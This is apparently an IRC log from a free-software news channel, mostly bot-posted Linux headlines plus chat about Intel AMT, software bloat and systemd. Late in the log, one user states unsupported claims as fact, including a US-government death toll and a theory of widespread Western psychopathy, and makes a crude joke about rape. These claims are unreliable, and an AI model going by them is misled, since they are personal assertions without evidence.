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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Wind River Continues Advancing Development of IoT Devices with Latest Version of Market-Leading Linux Offering | Tux Machines | Oct 05 04:40 | |
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| TweetTuxMachines | @tuxmachines Manjaro Update 2015-10-04 (testing) | Oct 05 05:11 |
| TweetTuxMachines | http://t.co/w1QASZC3xQ (www.tuxmachines.org) | Oct 05 05:11 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Manjaro Update 2015-10-04 (testing) | Tux Machines | Oct 05 05:11 | |
| TweetTuxMachines | @tuxmachines Huawei Watch Review: Best Android Wear | Oct 05 05:11 |
| TweetTuxMachines | Smartwatch Available http://t.co/Jv329gRzP6 | Oct 05 05:11 |
| -TechrightsBot-tr/#techrights-www.gottabemobile.com | Huawei Watch Review: Best Android Wear Smartwatch Available | Oct 05 05:11 | |
| TweetTuxMachines | (www.gottabemobile.com) | Oct 05 05:11 |
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| TweetTuxMachines | @tuxmachines Unicode 8.0 Support Added To GNOME's GLib | Oct 05 05:11 |
| TweetTuxMachines | http://t.co/2s0jSlGgaF (www.phoronix.com) | Oct 05 05:11 |
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| -TechrightsBot-tr/#techrights-www.phoronix.com | Unicode 8.0 Support Added To GNOME's GLib - Phoronix | Oct 05 05:11 | |
| TweetTuxMachines | @tuxmachines Linux 3.18.22 http://t.co/X9SJjHZZn8 | Oct 05 05:13 |
| -TechrightsBot-tr/#techrights-lkml.iu.edu | Linux-Kernel Archive: Linux 3.18.22 | Oct 05 05:13 | |
| TweetTuxMachines | (lkml.iu.edu) | Oct 05 05:13 |
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| TweetTuxMachines | @tuxmachines 4MRecover 14.0 Distrolette Enters Beta with | Oct 05 05:13 |
| TweetTuxMachines | TestDisk 7.0, Based on 4MLinux 14.0 | Oct 05 05:13 |
| TweetTuxMachines | http://t.co/mi0Yjkgzct (linux.softpedia.com) | Oct 05 05:13 |
| -TechrightsBot-tr/#techrights-linux.softpedia.com | 4MRecover 14.0 Distrolette Enters Beta with TestDisk 7.0, Based on 4MLinux 14.0 - Softpedia | Oct 05 05:13 | |
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| TweetTuxMachines | @tuxmachines Parsix GNU/Linux 8.5 "Atticus" Is One of the | Oct 05 05:13 |
| TweetTuxMachines | First Distributions with GNOME 3.18 | Oct 05 05:13 |
| TweetTuxMachines | http://t.co/fhCzX3igIf (news.softpedia.com) | Oct 05 05:13 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Parsix GNU/Linux 8.5 "Atticus" Is One of the First Distributions with GNOME 3.18 - Softpedia | Oct 05 05:13 | |
| TweetTuxMachines | @tuxmachines Manjaro Update 2015-10-04 (testing) | Oct 05 05:15 |
| TweetTuxMachines | https://t.co/9769caRK5L (manjaro.github.io) | Oct 05 05:15 |
| -TechrightsBot-tr/#techrights-manjaro.github.io | Manjaro Update 2015-10-04 (testing) – Manjaro Linux – Enjoy the simplicity | Oct 05 05:15 | |
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| *TweetTuxMachines @Tech_Switz favourited '"485 out of 500 systems were using Linux"...' | Oct 05 05:15 | |
| TweetTuxMachines | @tuxmachines Scibuntu 0.4 Beta Is Out, Transforms Ubuntu | Oct 05 05:19 |
| TweetTuxMachines | Into an OS for Scientists and Science Students | Oct 05 05:19 |
| TweetTuxMachines | http://t.co/9DYhNj8uas (linux.softpedia.com) | Oct 05 05:19 |
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| -TechrightsBot-tr/#techrights-linux.softpedia.com | Scibuntu 0.4 Beta Is Out, Transforms Ubuntu Into an OS for Scientists and Science Students - Softpedia | Oct 05 05:19 | |
| TweetTuxMachines | @tuxmachines Canonical launches new #InternetOfToys | Oct 05 05:19 |
| TweetTuxMachines | initiative with partners http://t.co/QoiDJT33Sa | Oct 05 05:19 |
| TweetTuxMachines | (insights.ubuntu.com) another buzzword. | Oct 05 05:20 |
| -TechrightsBot-tr/#techrights-insights.ubuntu.com | Canonical launches new ‘#InternetOfToys’ initiative with partners | Ubuntu Insights | Oct 05 05:20 | |
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| TweetTuxMachines | @tuxmachines Meet #WorldWithoutLinux Animator Amelia Lorenz | Oct 05 05:20 |
| TweetTuxMachines | http://t.co/3X0oIAx8mZ (www.linux.com) | Oct 05 05:20 |
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| -TechrightsBot-tr/#techrights-www.linux.com | Meet #WorldWithoutLinux Animator Amelia Lorenz | Linux.com | Oct 05 05:20 | |
| TweetTuxMachines | @tuxmachines The @LinuxFoundation Announces Project to | Oct 05 05:20 |
| TweetTuxMachines | Advance Real-Time Linux http://t.co/XruaBZcJQi | Oct 05 05:20 |
| TweetTuxMachines | (www.marketwatch.com) | Oct 05 05:20 |
| -TechrightsBot-tr/#techrights-www.marketwatch.com | The Linux Foundation Announces Project to Advance Real-Time Linux - MarketWatch | Oct 05 05:20 | |
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| TweetTuxMachines | @tuxmachines AVTEST Laboratory Says Free Anti-Virus Apps on | Oct 05 05:55 |
| TweetTuxMachines | Linux Are the Worst http://t.co/KHBpMKU7vm | Oct 05 05:55 |
| TweetTuxMachines | (news.softpedia.com) | Oct 05 05:55 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | AV-TEST Laboratory Says Free Anti-Virus Apps on Linux Are the Worst - Softpedia | Oct 05 05:55 | |
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| TweetTuxMachines | @tuxmachines Links 4/10/2015: Linux 4.2.3 , 4.1.10; MPlayer | Oct 05 05:55 |
| TweetTuxMachines | retweeted by 1.2 released http://t.co/QDR0RwXlZb | Oct 05 05:55 |
| TweetTuxMachines | @schestowitz (techrights.org) | Oct 05 05:55 |
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| -TechrightsBot-tr/#techrights-techrights.org | Links 4/10/2015: Linux 4.2.3 , 4.1.10; MPlayer 1.2 released | Techrights | Oct 05 05:55 | |
| TweetTuxMachines | @tuxmachines Scibuntu 0.4 Beta Is Out, Transforms Ubuntu | Oct 05 05:55 |
| TweetTuxMachines | Into an OS for Scientists and Science Students | Oct 05 05:55 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Scibuntu 0.4 Beta Is Out, Transforms Ubuntu Into an OS for Scientists and Science Students | Tux Machines | Oct 05 05:55 | |
| TweetTuxMachines | @tuxmachines Canonical launches new ‘#InternetOfToys’ | Oct 05 05:55 |
| TweetTuxMachines | initiative with partners http://t.co/lROmiM5Jqr | Oct 05 05:55 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Canonical launches new ‘#InternetOfToys’ initiative with partners | Tux Machines | Oct 05 05:55 | |
| TweetTuxMachines | @tuxmachines Meet #WorldWithoutLinux Animator Amelia Lorenz | Oct 05 05:55 |
| TweetTuxMachines | http://t.co/gXMLVqCzTO (www.tuxmachines.org) | Oct 05 05:55 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Meet #WorldWithoutLinux Animator Amelia Lorenz | Tux Machines | Oct 05 05:55 | |
| TweetTuxMachines | @tuxmachines The Linux Foundation Announces Project to | Oct 05 05:56 |
| TweetTuxMachines | Advance Real-Time Linux http://t.co/XycEB1Aslq | Oct 05 05:56 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 05 05:56 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | The Linux Foundation Announces Project to Advance Real-Time Linux | Tux Machines | Oct 05 05:56 | |
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| TweetTuxMachines | @tuxmachines AV-TEST Laboratory Says Free Anti-Virus Apps on | Oct 05 05:56 |
| TweetTuxMachines | Linux Are the Worst http://t.co/48o80fjNG9 | Oct 05 05:56 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 05 05:56 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | AV-TEST Laboratory Says Free Anti-Virus Apps on Linux Are the Worst | Tux Machines | Oct 05 05:56 | |
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| *TweetTuxMachines @techmuser favourited 'AV-TEST Laboratory Says Free Anti-Virus Apps on Linux...' | Oct 05 06:41 | |
| *TweetTuxMachines @techmuser favourited 'The Linux Foundation Announces Project to Advance Real-Time...' | Oct 05 06:41 | |
| TweetTuxMachines | @tuxmachines PPSSPP 1.1 Gets ARM64 and Android TV Support, | Oct 05 07:13 |
| TweetTuxMachines | Still the Best Free PSP Emulator | Oct 05 07:13 |
| TweetTuxMachines | http://t.co/KlJQk5AMmK (news.softpedia.com) | Oct 05 07:13 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | PPSSPP 1.1 Gets ARM64 and Android TV Support, Still the Best Free PSP Emulator - Softpedia | Oct 05 07:13 | |
| TweetTuxMachines | @tuxmachines Danish public libraries unite around open | Oct 05 07:13 |
| TweetTuxMachines | source http://t.co/wIyqmajcYm | Oct 05 07:13 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Danish public libraries unite around open source | Tux Machines | Oct 05 07:13 | |
| TweetTuxMachines | @tuxmachines Exploring the Raspberry Pi Sense HAT | Oct 05 07:14 |
| TweetTuxMachines | http://t.co/NZUoPGeyTs (www.tuxmachines.org) | Oct 05 07:14 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Exploring the Raspberry Pi Sense HAT | Tux Machines | Oct 05 07:14 | |
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| TweetTuxMachines | @tuxmachines Ubuntu 15.10: More kitten than beast – but | Oct 05 08:42 |
| TweetTuxMachines | beware the claws http://t.co/Gcyyyvkh1H | Oct 05 08:42 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Ubuntu 15.10: More kitten than beast – but beware the claws | Tux Machines | Oct 05 08:42 | |
| TweetTuxMachines | @tuxmachines Media Advisory: Linux Foundation Debuts Digital | Oct 05 08:42 |
| TweetTuxMachines | Video Series to Raise Awareness of the Ubiquity | Oct 05 08:42 |
| TweetTuxMachines | of Linux http://t.co/X1T1idFeRU | Oct 05 08:42 |
| TweetTuxMachines | (www.digitaljournal.com) | Oct 05 08:42 |
| -TechrightsBot-tr/#techrights-www.digitaljournal.com | Media Advisory: Linux Foundation Debuts Digital Video Series to Raise Awareness of the Ubiquity of Linux - Press Release - Digital Journal | Oct 05 08:42 | |
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| TweetTuxMachines | @tuxmachines World Without Linux Video Series Debuts | Oct 05 08:42 |
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| -TechrightsBot-tr/#techrights-www.linux.com | World Without Linux Video Series Debuts | Linux.com | Oct 05 08:42 | |
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| TweetTuxMachines | @tuxmachines Exploring the Raspberry Pi Sense HAT | Oct 05 08:55 |
| TweetTuxMachines | http://t.co/JIh5AxZHB4 (opensource.com) | Oct 05 08:55 |
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| -TechrightsBot-tr/#techrights-opensource.com | A look at the Raspberry Pi Sense HAT | Opensource.com | Oct 05 08:56 | |
| TweetTuxMachines | @tuxmachines Ubuntu 15.10: More kitten than beast – but | Oct 05 08:56 |
| TweetTuxMachines | beware the claws http://t.co/GjLkB1FsLR | Oct 05 08:56 |
| TweetTuxMachines | (www.theregister.co.uk) | Oct 05 08:56 |
| -TechrightsBot-tr/#techrights-www.theregister.co.uk | Ubuntu 15.10: More kitten than beast – but beware the claws • The Register | Oct 05 08:56 | |
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| TweetTuxMachines | @tuxmachines Thus versus Calamares: Comparing Manjaro 15.09 | Oct 05 08:56 |
| TweetTuxMachines | installers http://t.co/igM017dEtr | Oct 05 08:56 |
| -TechrightsBot-tr/#techrights-www.zdnet.com | Thus versus Calamares: Comparing Manjaro 15.09 installers | ZDNet | Oct 05 08:56 | |
| TweetTuxMachines | (www.zdnet.com) | Oct 05 08:56 |
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| TweetTuxMachines | @tuxmachines Solus Operating System Is Being Delayed Due to | Oct 05 09:57 |
| TweetTuxMachines | Bad Karma http://t.co/8NouGd6AqH | Oct 05 09:57 |
| TweetTuxMachines | (news.softpedia.com) | Oct 05 09:57 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | Solus Operating System Is Being Delayed Due to Bad Karma - Softpedia | Oct 05 09:57 | |
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| TweetTuxMachines | @tuxmachines Trine 3: The Artifacts Of Power Linux Beta | Oct 05 09:57 |
| TweetTuxMachines | Released https://t.co/AwHC2b0n3B | Oct 05 09:57 |
| TweetTuxMachines | (www.gamingonlinux.com) "Trine 3: The Artifacts | Oct 05 09:57 |
| TweetTuxMachines | of Power in beta form." | Oct 05 09:57 |
| -TechrightsBot-tr/#techrights-www.gamingonlinux.com | Trine 3: The Artifacts Of Power Linux Beta Released | GamingOnLinux | Oct 05 09:57 | |
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| TweetTuxMachines | @tuxmachines Linux vigilante fixes your router | Oct 05 09:57 |
| TweetTuxMachines | http://t.co/M9Ztjoj9oo (www.tuxmachines.org) | Oct 05 09:57 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Linux vigilante fixes your router | Tux Machines | Oct 05 09:57 | |
| TweetTuxMachines | @tuxmachines KPMG: five good reasons to use open souce | Oct 05 09:57 |
| TweetTuxMachines | http://t.co/77sdr0c1uR (www.tuxmachines.org) | Oct 05 09:57 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | KPMG: five good reasons to use open souce | Tux Machines | Oct 05 09:57 | |
| TweetTuxMachines | @tuxmachines Navigating a sea of frontend frameworks | Oct 05 09:57 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Navigating a sea of frontend frameworks | Tux Machines | Oct 05 09:57 | |
| TweetTuxMachines | @tuxmachines Solus Operating System Is Being Delayed Due to | Oct 05 09:58 |
| TweetTuxMachines | Bad Karma http://t.co/lt8MSLl41e | Oct 05 09:58 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Solus Operating System Is Being Delayed Due to Bad Karma | Tux Machines | Oct 05 09:58 | |
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| MinceR | http://www.mcsweeneys.net/articles/nihilistic-password-security-questions | Oct 05 10:02 |
| -TechrightsBot-tr/#techrights-www.mcsweeneys.net | McSweeney’s Internet Tendency: List: Nihilistic Password Security Questions. [ http://ur1.ca/nx37k ] | Oct 05 10:02 | |
| MinceR | (javascript) http://www.pcjs.org/devices/pc/machine/5160/cga/256kb/win101/ | Oct 05 10:10 |
| -TechrightsBot-tr/#techrights-www.pcjs.org | pcjs.org | /devices/pc/machine/5160/cga/256kb/win101/ [ http://ur1.ca/nx39u ] | Oct 05 10:10 | |
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| TweetTuxMachines | @tuxmachines Trine 3: The Artifacts Of Power Linux Beta | Oct 05 11:01 |
| TweetTuxMachines | Released http://t.co/grkWH18f5I | Oct 05 11:01 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 05 11:01 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Trine 3: The Artifacts Of Power Linux Beta Released | Tux Machines | Oct 05 11:01 | |
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| *TweetTuxMachines got exception: Unexpected end of ZLIB input stream ; reconnecting to Twitter... | Oct 05 11:01 | |
| msb_ | What will TPP do? http://www.globalresearch.ca/as-secret-trade-talks-reveal-cracks-demonstrators-aim-death-blows-at-tpp/5479476 | Oct 05 12:34 |
| -TechrightsBot-tr/#techrights-www.globalresearch.ca | As Secret Trade Talks Reveal Cracks, Demonstrators Aim Death Blows at TPP | Global Research - Centre for Research on Globalization [ http://ur1.ca/nx43m ] | Oct 05 12:34 | |
| msb_ | Prevent GMO labelling? Limit amount of nutrients that can be sold? Totally secret, written by huge corporations who knows? | Oct 05 12:36 |
| cubexyz | Intel AMT can remotely power up, power down and reboot a computer | Oct 05 12:47 |
| cubexyz | it can remotely troubleshoot the system even if the host operating system is off or crashed | Oct 05 12:48 |
| cubexyz | remotely view and change the BIOS configuration settings | Oct 05 12:48 |
| cubexyz | monitor which applications are running on the host OS | Oct 05 12:49 |
| cubexyz | this includes changing the boot device remotely | Oct 05 12:49 |
| cubexyz | you can remotely reflash the BIOS too | Oct 05 12:50 |
| cubexyz | it's the ultimate backdoor into the computer | Oct 05 12:51 |
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| msb_ | AMT can kill the user using electric shock or microwaves. | Oct 05 13:49 |
| msb_ | AMT can sell the computer and give the money to the government. | Oct 05 13:50 |
| msb_ | AMT can kick your girlfriend and rape your dog. | Oct 05 13:54 |
| msb_ | AMT can make you get a tatoo that says "Windows Inside". | Oct 05 13:55 |
| msb_ | AMT can sell your brain to the nearest zombie -- cheap! | Oct 05 13:56 |
| cubexyz | :) | Oct 05 14:21 |
| cubexyz | just imagine AMT combined with windows 10 | Oct 05 14:26 |
| cubexyz | the user wouldn't have a chance | Oct 05 14:26 |
| cubexyz | http://www.maxhost.org/other/another-happy-windows-10-customer.txt | Oct 05 14:27 |
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| msb_ | Well, that's good. He's ready to wipe his disk and install Linux! | Oct 05 15:28 |
| msb_ | Or buy another disk and try to get his data off this one. | Oct 05 15:30 |
| MinceR | and if he's not careful he'll get lendows | Oct 05 15:37 |
| MinceR | and he'll end up where he started | Oct 05 15:37 |
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| cubexyz | my bet advice is have one openbsd machine | Oct 05 16:03 |
| cubexyz | s/bet/best/ | Oct 05 16:03 |
| cubexyz | yes, things are a bit of a mess nowadays | Oct 05 16:06 |
| cubexyz | one of the reasons why operating systems are so problematic is they have gotten so bloated | Oct 05 16:14 |
| cubexyz | it's really hard to avoid it | Oct 05 16:14 |
| cubexyz | my typical openbsd session uses about 50 processes | Oct 05 16:17 |
| cubexyz | my typical Linux sessions uses about 100 processes | Oct 05 16:17 |
| cubexyz | and it doesn't seem to matter which era of Linux it is... FC1 is about 100 processes, Slackware 12.1 is about 100 processes | Oct 05 16:17 |
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| msb_ | That's not really a problem, because today's computers have so much speed and memory, | Oct 05 16:18 |
| msb_ | Hopefully Devuan will get going (some people are already using it in alpha) and then we'll have a Linux we can use and recommend. | Oct 05 16:19 |
| cubexyz | well, it's not a huge problem as I can run BL3 with 8 processes | Oct 05 16:22 |
| cubexyz | it's pretty much on par with Unix v5 other that the fact it uses quite a lot more memory | Oct 05 16:23 |
| cubexyz | su | Oct 05 16:23 |
| cubexyz | some distros do support older computers | Oct 05 16:33 |
| cubexyz | non-PAE computers for example | Oct 05 16:34 |
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| msb_ | cubexyz: I went to the amd.com website an put DASH in the search bar at upper right, and got lots of relevant hits. | Oct 05 17:12 |
| MinceR | that speed and memory won't help you if you waste it all | Oct 05 17:14 |
| MinceR | also, bloated code is also complex, which leads to more bugs | Oct 05 17:14 |
| MinceR | what's DASH? | Oct 05 17:16 |
| r_schestowitz | https://twitter.com/trancotrans15/status/651145064786214912 | Oct 05 17:23 |
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| -TechrightsBot-tr/#techrights-@schestowitz: #SteamOS Brewmaster Now Has Improved Auto-Repair Function http://t.co/dkJDg06ee5 #games #gnu #linux | Oct 05 17:23 | |
| -TechrightsBot-tr/#techrights--> news.softpedia.com | SteamOS Brewmaster Now Has Improved Auto-Repair Function - Softpedia | Oct 05 17:23 | |
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| r_schestowitz | https://twitter.com/Trancotrans/status/651147320969396225 | Oct 05 17:37 |
| -TechrightsBot-tr/#techrights-@Trancotrans: RT http://t.co/IoHZmjuagi #SteamOS Brewmaster Now Has Improved Auto-Repair Function http://t.co/MCADzO5tsy #games #gnu #linux | Oct 05 17:37 | |
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| cubexyz | DASH = Desktop and mobile Architecture for System Hardware | Oct 05 17:51 |
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| MinceR | http://www.madmagazine.com/blog/2015/10/05/carly-fiorina-updates-her-facebook-profile-pic | Oct 05 19:22 |
| -TechrightsBot-tr/#techrights-www.madmagazine.com | Carly Fiorina Updates Her Facebook Profile Pic | Mad Magazine [ http://ur1.ca/nx7m0 ] | Oct 05 19:22 | |
| msb_ | MinceR: I have 8GB of RAM and an old 2-core cpu. Linux only uses about 10% of each. "Bloat" is not a problem with modern computers (or 5 year old ones). | Oct 05 19:38 |
| MinceR | it still is, for example with the "modern" web or other "modern" software such as cancerd | Oct 05 19:42 |
| msb_ | I have about 300 processes -- lots of bash's and mc's. Firefox uses 30% of the cpu because I have lots of windows and tabs. Otherwise it wouldn | Oct 05 19:45 |
| msb_ | MinceR: I have about 300 processes -- lots of bash's and mc's. Firefox uses 30% of the cpu because I have lots of windows and tabs. Otherwise it wouldn't. I will never use systemd. | Oct 05 19:45 |
| MinceR | afaict bash and mc aren't bad at all | Oct 05 19:46 |
| MinceR | no wonder the kids don't like either :> | Oct 05 19:46 |
| msb_ | Using konsole, mc, and klipper, I've developed scripts for CLI drag-n-drop that can move, copy, compare, etc, any file between two directories, even in different desktops, using only about 3 keystrokes. | Oct 05 19:49 |
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| msb_ | Extremely informative interview of Temple Grandin about her work on non-cruel animal husbandry and autism on RT program Watching the Hawks. | Oct 05 21:57 |
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| TweetTuxMachines | @tuxmachines Manjaro JWM Edition 41015 released | Oct 05 23:30 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Manjaro JWM Edition 41015 released | Tux Machines | Oct 05 23:30 | |
| TweetTuxMachines | @tuxmachines Fedora 24 Linux Operating System to Use | Oct 05 23:30 |
| TweetTuxMachines | NetworkManager 1.2 by Default | Oct 05 23:30 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Fedora 24 Linux Operating System to Use NetworkManager 1.2 by Default | Tux Machines | Oct 05 23:30 | |
| TweetTuxMachines | @tuxmachines Fedora 24 Linux Operating System to Use | Oct 06 00:03 |
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| msb_ | Temple Grandin said that high-functioning autistics like herself created the computer revolution. | Oct 06 02:00 |
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| msb_ | What if psychopath characteristics have spread in greater or lesser degree to most of the people in Western culture. Would that result in most young boys in the 1950s being interested only in sports, various models of cars, pretending to be cowboys killing Indians, and pretending to be US soldiers killing "japs"? That's what I found, and I couldn't relate to them. Out of hundreds, I found two with intellectual interests like mine, | Oct 06 02:10 |
| msb_ | and was friends with them. But my parents said I was mentally ill and threatened to have me lobotomized. I graduated with the highest grades in the advanced high school of Philadelphia (a city of 2.5 million). | Oct 06 02:10 |
| msb_ | Which I keep thinking is the approximate number of people that the US govt has murdered since 2001. | Oct 06 02:11 |
| msb_ | If almost all members of our culture have a similar mental illness, they will perceive themselves as normal, and anyone who doesn't have it as sick. | Oct 06 02:22 |
| msb_ | Psychologists, sociologists and archeologists Wilhelm Reich, Marija Gimbutas, Riane Eisler, George Gurdjieff, Peter Ouspensky, and Jean Liedloff all found, in their research, that this is the way things are. | Oct 06 02:25 |
| *TweetTuxMachines @LATechInvestors favourited 'Launchpad Is Preparing for Snappy Packages, More Improvements...' | Oct 06 02:26 | |
| TweetTuxMachines | @tuxmachines Wine Is Coming to Android for Intel Processors | Oct 06 02:26 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Wine Is Coming to Android for Intel Processors | Tux Machines | Oct 06 02:26 | |
| msb_ | But people who talk about it, and its implications, get chased out of nine villages (or is it sixteen?). | Oct 06 02:27 |
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| TweetTuxMachines | @tuxmachines Android Marshmallow: What, when, and where? | Oct 06 04:44 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Android Marshmallow: What, when, and where? | Tux Machines | Oct 06 04:44 | |
| TweetTuxMachines | @tuxmachines Audacious 3.7 Finally Enters Beta, Ports the | Oct 06 04:44 |
| TweetTuxMachines | Winamp Classic Interface Plugin to Qt | Oct 06 04:44 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Audacious 3.7 Finally Enters Beta, Ports the Winamp Classic Interface Plugin to Qt | Tux Machines | Oct 06 04:44 | |
| TweetTuxMachines | @tuxmachines No, Microsoft Is Not Buying Canonical | Oct 06 04:44 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | No, Microsoft Is Not Buying Canonical - Softpedia | Oct 06 04:44 | |
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| TweetTuxMachines | @tuxmachines Canonical Patches Critical Kernel Vulnerability | Oct 06 05:36 |
| TweetTuxMachines | in Ubuntu 15.04 and Ubuntu 14.04 LTS | Oct 06 05:36 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Canonical Patches Critical Kernel Vulnerability in Ubuntu 15.04 and Ubuntu 14.04 LTS - Softpedia | Oct 06 05:36 | |
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| TweetTuxMachines | @tuxmachines Ubuntu Unity 8 Convergence: Nexus 4 Phone | Oct 06 05:37 |
| TweetTuxMachines | Converging into a Desktop - Gallery | Oct 06 05:37 |
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| -TechrightsBot-tr/#techrights-linux.softpedia.com | Ubuntu Unity 8 Convergence: Nexus 4 Phone Converging into a Desktop - Gallery - Softpedia | Oct 06 05:37 | |
| TweetTuxMachines | @tuxmachines Linux: Chapeau has now dropped the Korora | Oct 06 05:37 |
| TweetTuxMachines | software repository http://t.co/RrjZbl7cNy | Oct 06 05:37 |
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| -TechrightsBot-tr/#techrights- ( status 503 @ http://chapeaulinux.org/chapeau-has-now-dropped-the-korora-software-repository/ ) | Oct 06 05:37 | |
| TweetTuxMachines | @tuxmachines Manjaro JWM Edition 41015 released | Oct 06 05:40 |
| TweetTuxMachines | https://t.co/m8WtYiWHfV (manjaro.github.io) | Oct 06 05:40 |
| -TechrightsBot-tr/#techrights-manjaro.github.io | Manjaro JWM Edition 41015 released – Manjaro Linux – Enjoy the simplicity | Oct 06 05:40 | |
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| *TweetTuxMachines @RamiSilawi retweeted @tuxmachines: 'Ubuntu Unity 8 Convergence: Nexus 4 Phone Converging...' | Oct 06 05:40 | |
| TweetTuxMachines | @RamiSilawi @tuxmachines Your tweet makes my page better: | Oct 06 05:45 |
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| -TechrightsBot-tr/#techrights-www.rebelmouse.com | RamiSilawi | Oct 06 05:45 | |
| TweetTuxMachines | @tuxmachines Fedora 24 Linux Operating System to Use | Oct 06 05:45 |
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| TweetTuxMachines | @tuxmachines Wine Is Coming to Android for Intel Processors | Oct 06 05:45 |
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| -TechrightsBot-tr/#techrights-linux.softpedia.com | Wine Is Coming to Android for Intel Processors - Softpedia | Oct 06 05:45 | |
| TweetTuxMachines | @tuxmachines Android Marshmallow: What, when, and where? | Oct 06 05:58 |
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| -TechrightsBot-tr/#techrights-www.techrepublic.com | Android Marshmallow: What, when, and where? - TechRepublic | Oct 06 05:58 | |
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| TweetTuxMachines | @tuxmachines Audacious 3.7 Finally Enters Beta, Ports the | Oct 06 05:58 |
| TweetTuxMachines | Winamp Classic Interface Plugin to Qt | Oct 06 05:59 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Audacious 3.7 Finally Enters Beta, Ports the Winamp Classic Interface Plugin to Qt - Softpedia | Oct 06 05:59 | |
| TweetTuxMachines | @tuxmachines Majority of Linux users still use Windows or | Oct 06 05:59 |
| TweetTuxMachines | MacOS http://t.co/ZCjL48aIiB | Oct 06 05:59 |
| -TechrightsBot-tr/#techrights-linuxblog.darkduck.com | Majority of Linux users still use Windows or MacOS - Linux notes from DarkDuck | Oct 06 05:59 | |
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| TweetTuxMachines | @tuxmachines Majority of Linux users still use Windows or | Oct 06 06:04 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Down to Business with Major Deployments | Tux Machines | Oct 06 06:05 | |
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| TweetTuxMachines | @tuxmachines Black Lab Core Server 7 Released | Oct 06 07:20 |
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| -TechrightsBot-tr/#techrights-www.blacklablinux.org | Black Lab Linux: Black Lab Core Server 7 Released | Oct 06 07:20 | |
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| TweetTuxMachines | @tuxmachines Latest Manjaro Linux 15.09 Update Brings Linux | Oct 06 07:20 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Latest Manjaro Linux 15.09 Update Brings Linux Kernel 4.2.3, Python 3.5 Support - Softpedia | Oct 06 07:20 | |
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| TweetTuxMachines | @tuxmachines Black Lab Core Server 7 Released | Oct 06 07:20 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Black Lab Core Server 7 Released | Tux Machines | Oct 06 07:20 | |
| TweetTuxMachines | @tuxmachines [OpenIndiana] Hipster 2015.10 is here | Oct 06 07:30 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | [OpenIndiana] Hipster 2015.10 is here | Tux Machines | Oct 06 07:30 | |
| TweetTuxMachines | @tuxmachines Linux Foundation News http://t.co/um9LrIsXPR | Oct 06 07:30 |
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| TweetTuxMachines | @tuxmachines An Android living in your computer | Oct 06 07:30 |
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| -TechrightsBot-tr/#techrights-distrowatch.com | DistroWatch.com: Put the fun back into computing. Use Linux, BSD. | Oct 06 07:30 | |
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| TweetTuxMachines | @tuxmachines RoboPhone: Sharp to Sell Real Android Phones in | Oct 06 07:35 |
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| TweetTuxMachines | @tuxmachines DNF 1.1.2 and DNF-PLUGINS-CORE 0.1.12 Released | Oct 06 07:35 |
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| -TechrightsBot-tr/#techrights-dnf.baseurl.org | DNF 1.1.2 and DNF-PLUGINS-CORE 0.1.12 Released | DNF | Oct 06 07:35 | |
| TweetTuxMachines | @tuxmachines 5 Best Tools You Need To Create Your Next Big | Oct 06 07:35 |
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| -TechrightsBot-tr/#techrights-www.junauza.com | 5 Best Tools You Need To Create Your Next Big Android App | TechSource | Oct 06 07:35 | |
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| TweetTuxMachines | @tuxmachines Create A Custom Ubuntu Or Linux Mint ISO With | Oct 06 07:35 |
| TweetTuxMachines | PinguyBuilder http://t.co/jvA06EdcGf | Oct 06 07:35 |
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| -TechrightsBot-tr/#techrights-www.webupd8.org | Create A Custom Ubuntu Or Linux Mint ISO With PinguyBuilder ~ Web Upd8: Ubuntu / Linux blog | Oct 06 07:35 | |
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| TweetTuxMachines | @tuxmachines Circular App Launcher Gnome Pie 0.6.7 Gets New | Oct 06 08:06 |
| TweetTuxMachines | Clipboard Slice Group, Other Changes | Oct 06 08:06 |
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| -TechrightsBot-tr/#techrights-www.webupd8.org | Circular App Launcher `Gnome Pie` 0.6.7 Gets New Clipboard Slice Group, Other Changes ~ Web Upd8: Ubuntu / Linux blog | Oct 06 08:06 | |
| TweetTuxMachines | @tuxmachines Microsoft Recommends Ubuntu as the Most Popular | Oct 06 08:06 |
| TweetTuxMachines | Linux for Cloud | Oct 06 08:06 |
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| -TechrightsBot-tr/#techrights-linux.softpedia.com | Microsoft Recommends Ubuntu as the Most Popular Linux for Cloud - Softpedia | Oct 06 08:06 | |
| TweetTuxMachines | @tuxmachines OTA-7 Update for Ubuntu Touch to Enter Final | Oct 06 08:06 |
| TweetTuxMachines | Freeze This Week http://t.co/esZsv56hjA | Oct 06 08:06 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | OTA-7 Update for Ubuntu Touch to Enter Final Freeze This Week - Softpedia | Oct 06 08:06 | |
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| TweetTuxMachines | @tuxmachines Ubuntu Hackathon: Bangalore Mobile Developer | Oct 06 08:27 |
